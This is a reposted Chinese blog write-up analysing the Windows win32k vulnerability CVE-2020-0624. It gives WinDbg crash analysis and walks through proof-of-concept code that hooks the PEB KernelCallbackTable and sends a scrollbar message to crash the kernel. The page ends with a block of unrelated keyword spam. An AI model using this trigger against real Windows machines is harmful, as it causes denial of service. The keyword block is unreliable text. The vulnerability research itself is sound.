CVE-2020-0624 Win32k漏洞分析说明

栏目:技术教程 发布时间 2020-10-17 人气 

来源:https://www.y4f.net/204910.html

TAG:无

侵权:admin@heimacode.com

免责声明:本文图片引用自网络,如有侵权请联系我们予以删除

黑码网发布此文仅为传递信息,不代表黑码网认同其观点。

简介:求内推,明年毕业这篇文章将分析 Windows 操作系统 win32k 内核模块窗口管理器子系统中的 CVE-2020-0624 漏洞,虽然作者在 Github 上发布时称这是一个 UAF 漏洞,但我在进一步分析之后发现这应该算是一个类型混淆漏洞,跑去推特和作者确认了一下,作者说自己 Fuzz 之后直接提交了,没有进一步分析2333 。配置漏洞触发环境[+] win10 x6...

求内推,明年毕业
这篇文章将分析 Windows 操作系统 win32k 内核模块窗口管理器子系统中的 CVE-2020-0624 漏洞,虽然作者在 Github 上发布时称这是一个 UAF 漏洞,但我在进一步分析之后发现这应该算是一个类型混淆漏洞,跑去推特和作者确认了一下,作者说自己 Fuzz 之后直接提交了,没有进一步分析2333 。
<!--more-->

配置漏洞触发环境

[+] win10 x64 1903[+] windbg preview 1.0.2001.02001

BSOD分析

tip:因为KALSR的关系,我们分析起来会很麻烦,不过我们可以在调试之前先保存一个快照,这样我们调试的时候就可以先不考虑KALSR.

崩溃之后我们使用!analyze v来分析一下.首先查看一下错误类型

1: kd> !analyze vERROR: FindPlugIns 8007007b********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ********************************************************************************BAD_POOL_CALLER (c2)The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.Arguments:Arg1: 0000000000000046, Attempt to free an invalid pool addressArg2: ffffc29800880000, Starting addressArg3: 0000000000000000, 0Arg4: 0000000000000000, 0

错误是BAD_POOL_CALLER (c2),出现异常的地址为ffffc29800880000,错误提示是我们释放了错误的内存.没什么头绪,看看堆栈的内容

看起来很像是子函数NewCCI2进行了错误的操作,但其实要稍微复杂一些,后面分析poc源码的时候再说.这里我们只关注win32kfull!Win32FreePoolImpl就好,正是这个函数导致了异常的发生,本来我是想直接给这个函数打断点,但是这个函数会被频繁调用,很不方便.查阅资料发现该函数释放的内存后七位固定为0880000,所以我们可以通过cx寄存器来判断释放的内存是否为一场内存.条件断点如下:

ba e1 win32kfull!Win32FreePoolImpl+0x46 "r rcx;.if(cx == 0){.echo 1}.else{.echo 2;g}"

又或者你干脆已经知道了错误内存的地址为ffffc29800880000,那么直接设置rcx=ffffc29800880000也是ok的.

经历了漫长的条件判断之后我们终于断下来了,现在rcx的值为ffffc29800880000,正是我们的错误内存.检测一下属性

解析不出来,直接查看数据

连Header都没有,这根本就不是Kernel Pool,我们需要继续追踪这块奇怪的内存,从堆栈看一下调用关系

上层函数是Win32FreePool,静态分析一下

Win32FreePool函数仅仅是将参数传递给Win32FreePoolImpl函数而已,再看看上层函数xxxDestroyThreadInfo

不同于以前的win7,在win10上无法查看tagTHREADINFO结构.所以无法得知tagTHREADINFO+0x2c8代表什么,以及是什么函数设置了它的内容,我们尝试继续下断点.

ba e1 win32kbase!xxxDestroyThreadInfo+0x94 "r rsi;.if(poi(rsi+0x2C8) != 0){.echo 1}.else{g}"

当rsi+0x2C8不为零的时候断下来,查看rsi+0x2c8是否为触发异常的内存.

还是那个熟悉的数字,看来这个地址就是关键,某个函数设置了它的值,并且最终交给xxxDestroyThreadInfo函数来释放他所指向的内存,我们只要一步一步追溯就可以追溯到事发源头.但其实有更方便的法子,我们可以修改一下poc的源码,在一切都发生之前加入一个DebugBreak()断下来,接着对tagTHREADINFO+0x2c8下一个内存访问断点,这样windbg就会自动帮我们找到凶手了.

但是tagTHREADINFO的值每次都会发生变化,所以我们需要再保存一个快照,就在DebugBreak()函数断下来的时候.接着重新找出tagTHREADINFO的值,和刚刚一样:

现在我们恢复到刚刚保存的快照.重新断在DebugBreak()之后,接着我们对ffffc298061d48a0+2c8下一个内存访问断点并运行

断下来之后我们就可以看到修改ffffc298061d48a0+2c8的地方,看一下堆栈里面的调用关系

就是win32kfull!xxxSBTrackInit这个邪恶的函数将错误的地址写入了ffffc298061d48a0+2c8.我们在IDA里面查看一下

上面这个名字长的一批的函数返回了一个指向tagSBTrack结构的指针,之后这个指针将会被写入tagTHREADINFO+0x2c8处,即tagTHREADINFO->pSBTrack.这块内存是由nt!MmCommitSessionMappedView函数分配的,而ExFreePool函数只能释放由ExAllocatePool,ExAllocatePoolWithTag,ExAllocatePoolWithQuota或ExAllocatePoolWithQuotaTag分配的内存,自然会触发异常从而导致BSOD.

poc源码分析

因为作者给出了源代码,所以我们接着看一下poc的源代码,我分成几个小部分来一一分析.

    /* 获取指向TEB和PEB的指针 */    DWORD OldProtect{};     /* 获取指向TEB和PEB的指针 */    PTEB teb = NtCurrentTeb();    PPEB peb = teb->ProcessEnvironmentBlock;

OldProtect只是用来保存内存被修改前的访问保护值,teb和peb则分别保存线程环境块和进程环境块.

PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];

进程环境块中的KernelCallbackTable保存着函数指针表的副本,KeUserModeCallback通过参数ApiNumber作为索引来选择函数指针表中相应的函数.但是为什么是2,我们可以在这两句代码之前下一个断点

0: kd> dt nt!_PEB @$peb +0x058......   +0x058 KernelCallbackTable : 0x00007ff5`6ad80028 Void......
0: kd> dps poi($peb+58)00007ffa`2bdb6330  00007ffa`2bd35150 USER32!_fnCOPYDATA00007ffa`2bdb6338  00007ffa`2bdae720 USER32!_fnCOPYGLOBALDATA00007ffa`2bdb6340  00007ffa`2bd52cd0 USER32!_fnDWORD00007ffa`2bdb6348  00007ffa`2bd56780 USER32!_fnNCDESTROY00007ffa`2bdb6350  00007ffa`2bd5cd50 USER32!_fnDWORDOPTINLPMSG......

peb+58的地址就是KernelCallbackTable的地址,这里的2是USER32!_fnDWORD.如果我们向滚动条子控件发送WM_LBUTTONDOWN,消息时,会调用到win32kfull!xxxSBTrackInit()函数,该函数首先会创建一个Session Pool,用来保存 tagSBTrack结构.所以后面我们会特意营造这种情景来调用这个回调函数.

/*    BOOL VirtualProtect(                // 此函数更改对调用进程的虚拟地址空间中的已提交页面区域的保护        LPVOID lpAddress,               // 要更改其访问保护属性的页面区域的起始页面        SIZE_T dwSize,                  // 要更改其访问保护属性的区域的大小        DWORD  flNewProtect,            // 内存保护选项,PAGE_EXECUTE_READWRITE为可读可写可执行权限        PDWORD lpflOldProtect           // 指向变量的指针,该变量接收页面的指定区域中第一页的先前访问保护值    );    PVOID InterlockedExchangePointer(   // 此函数原子交换一对地址        PVOID volatile *Target,         // 目标地址        PVOID          Value            // 与目标函数交换的地址    );    */    if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))        return 0;    OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2, &NewCCI2);

我们在上一步已经得到了指向(peb->KernelCallbackTable)2和(peb->KernelCallbackTable)3地址的指针,接着我们只要直接赋值就可以hook这两个函数了

OrgCCI2保存原先的函数指针以使用正常的功能,这样我们的hook函数既可以执行我们自定义的操作,还不影响原本的功能.

    hChild = CreateWindow(        L"ScrollBar",         L"Vul",         WS_OVERLAPPEDWINDOW | WS_VISIBLE,         CW_USEDEFAULT,         CW_USEDEFAULT,         10,         10,         NULL,         NULL,         NULL,         NULL    );

scrollbar的窗口是可见的, 设置WM_VISIBLE,这样才能成功触发.至此,回调函数也hook完了,窗口也已经创建了,我们可以开始考虑调用我们hook的函数了,具体实现如下

NTSTATUS NTAPI NewCCI2(PVOID Param){    if (Flag)    {        ExitThread(0);    }    return OrgCCI2(Param);}

因为被我们hook的两个函数有可能会被其他部分调用,所以我们设置了Flag1和Flag2来跳过我们hook的内容,而去执行OrgCCI2和OrgCCI3,这两个指针保存的正是hook之前的函数指针,这样,其他部分调用hook之后的函数也不会发生异常.

    Flag = TRUE;    SendMessage(hVul, WM_LBUTTONDOWN, 0, 0);

在NewCCI2中,因为Flag已经被置1,所以我们会调用if语句之内的内容,也就是ExitThread(0).接着win32kfull!Win32FreePoolImpl就会调用nt!ExFreePool来释放tagSBTrack,导致BSOD.

大概流程是这样:

[+] HOOK KernelCallbackTable->fnDWORD[+] 创建一个可视的滚动条窗口SrollBar并发送WM_LBUTTONDOWN消息[+] 系统处理消息初始化SBTrack结构并开始循环,接着触发fnDWORD回调[+] 由于KernelCallbackTable->fnDWORD已经被我们修改,所以程序转去执行NewCCI2函数[+] win32kfull!xxxSBTrackInit()函数已经将tagSBTrack结构写入了tagTHREADINFO+2c8处,退出线程时会触发BSOD

参考文章

晏子霜师傅本人和博客都有很大帮助,我偷了很多思路和技巧:http://www.whsgwl.net/
wjllz师傅,同样是偷思路和技巧:https://xz.aliyun.com/u/12604
其他:
https://www.anquanke.com/post/id/97498
https://pediy.com/kssd/pediy11/104918.html

一些疑问

遗憾的是,我没能完成利用.因为我对于类型隔离中分配的这块内存实在是没有办法了,问了一位师傅得到的答复是这是一个利用的可能性微乎其微的漏洞,但微软官方给出的确实是权限提升的通告,所以师傅们如果有思路的话请分享一下,不胜感激!!!

溺水 先锋 一所 泡面 杂谈 处分 小钢炮 花露 可以根据 罗马尼亚 上映 一个叫 万全 征信 螺丝刀 烧结 柱塞 报名 旋涡 字画 彩电 狮子座 通过审核 私房 wx2 冰球 淳于 硬度计 乘法表 年金 藏语 手持式 驯鹿 抢手 看完 歌德 新英格兰 盐渍化 洗衣 降幅 自力式 都市报 满怀 续保 坑道 校验 口中 截面 山西 深灰色 铁路运输 使用者 金奖 复位 赔偿 共建 过滤网 店面 优派 批判 配装 聚丙烯 火源 水杯 得胜 负责 分行 大关 总金额 停留在 有得 专辑 战略规划 自然村 复审 电价 晃悠 引渡 顺利通过 瑞金 冒险 美女 就越 按住 华泰 北京科技大学 真金 深浅 坏掉 大不 第一季 肯特 几家 明光 推动 中国中小企业 有声 黑屏 可怜 小视
资源来源网络,若未解决请查看原文

本文地址:https://www.heimacode.com/article/60791.html